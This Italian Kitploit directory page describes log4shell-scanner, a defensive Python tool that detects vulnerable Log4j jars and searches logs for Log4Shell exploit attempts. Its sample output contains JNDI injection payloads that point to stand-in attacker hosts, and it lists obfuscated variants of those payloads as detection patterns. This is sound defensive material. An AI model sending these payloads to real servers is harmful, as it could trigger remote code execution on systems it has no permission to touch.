Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-scanner — Scanner leggero che rileva versioni vulnerabili di Log4j e indicatori di Log4Shell (CVE-2021-44228) in un albero di file system. | Kitploit
Strumenti/GitHubGitHub/arpitgupta369/log4shell-scanner
Strumenti DifensiviScanner di VulnerabilitàAnalisi delle VulnerabilitàSicurezza della Supply ChainApprendimento e FormazioneAnalisi dei Log
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Scanner leggero che rileva versioni vulnerabili di Log4j e indicatori di Log4Shell (CVE-2021-44228) in un albero di file system.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
161 mese faNon ancora revisionato
Condividi

log4shell-scanner

Uno scanner difensivo senza dipendenze per Log4Shell — rileva jar log4j-core vulnerabili e pattern di exploit JNDI nei log e nella configurazione.

Perché questo progetto

Durante la mia rotazione presso il CERT-In ho lavorato su identificazione delle minacce, contenimento, remediation e threat hunting — esattamente il flusso di lavoro che Log4Shell (CVE-2021-44228) richiedeva su larga scala nel dicembre 2021: trovare ogni artefatto log4j-core vulnerabile in una flotta e cercare nei log i tentativi di sfruttamento ${jndi:...}. Questo scanner ricostruisce quel flusso di lavoro difensivo in un singolo script Python portabile, basato sulla sola libreria standard, che non richiede alcuna installazione sul sistema che ispeziona.

Caratteristiche

  • Rilevamento archivi — esplora un albero di directory alla ricerca di file .jar / .war / .ear.
  • Rilevamento affidabile della versione — legge e dall'interno di ciascun archivio con , ricorrendo al nome del file come alternativa; distingue il vero log4j-core da jar non correlati.
pom.properties
MANIFEST.MF
zipfile
  • Segnalazione CVE per la famiglia Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (fix incompleto) — fino alla 2.15.0
    • CVE-2021-45105 (DoS) — fino alla 2.16.0
  • Caccia ai pattern di exploit — cerca nei log, nei file di configurazione e nel codice sorgente ${jndi:ldap:// e comuni offuscamenti (${${lower:j}ndi:…}, brace-split j}ndi:, ${::-j}).
  • Remediation operativa — aggiornare alla 2.17.1+ oppure rimuovere JndiLookup.class, oltre a indicazioni sul monitoraggio del traffico in uscita (egress).
  • Albero di esempio incluso con un finto log4j-core-2.14.1.jar vulnerabile (un vero zip contenente un pom.properties di log4j-core), un 2.17.1.jar corretto, un jar non correlato e un log con payload JNDI.
  • --demo costruisce e scansiona l'albero di esempio end-to-end.
  • Solo libreria standard di Python (os, re, zipfile). Nessuna dipendenza.
  • Stack tecnologico

    Python 3 (solo libreria standard: argparse, os, re, zipfile).

    Installazione

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Utilizzo

    Esegui la demo sull'albero di esempio incluso:

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Output atteso (abbreviato):

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Scansiona qualsiasi directory che sei autorizzato a valutare:

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    Il codice di uscita del processo è 1 quando viene trovato qualcosa di vulnerabile o sospetto, 0 quando è tutto pulito — comodo per il gating in CI/pipeline.

    Ricostruisci l'albero di esempio in qualsiasi momento:

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Struttura del progetto

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Dichiarazione di non responsabilità

    Solo per uso educativo, difensivo e autorizzato. Eseguilo soltanto su sistemi e artefatti che hai il permesso di valutare. Lo scanner si limita a leggere e a fare pattern matching — non esegue né sfrutta mai nulla. I jar di esempio inclusi sono segnaposto fittizi, non artefatti Apache autentici, e tutti gli hostname dei payload usano nomi .test non instradabili. Le associazioni versione-CVE sono fornite a scopo orientativo; verifica consultando le fonti ufficiali CVE e gli advisory sulla sicurezza di Apache Log4j.


    Realizzato da Arpit Gupta — LinkedIn · GitHub

    Scarica lo strumento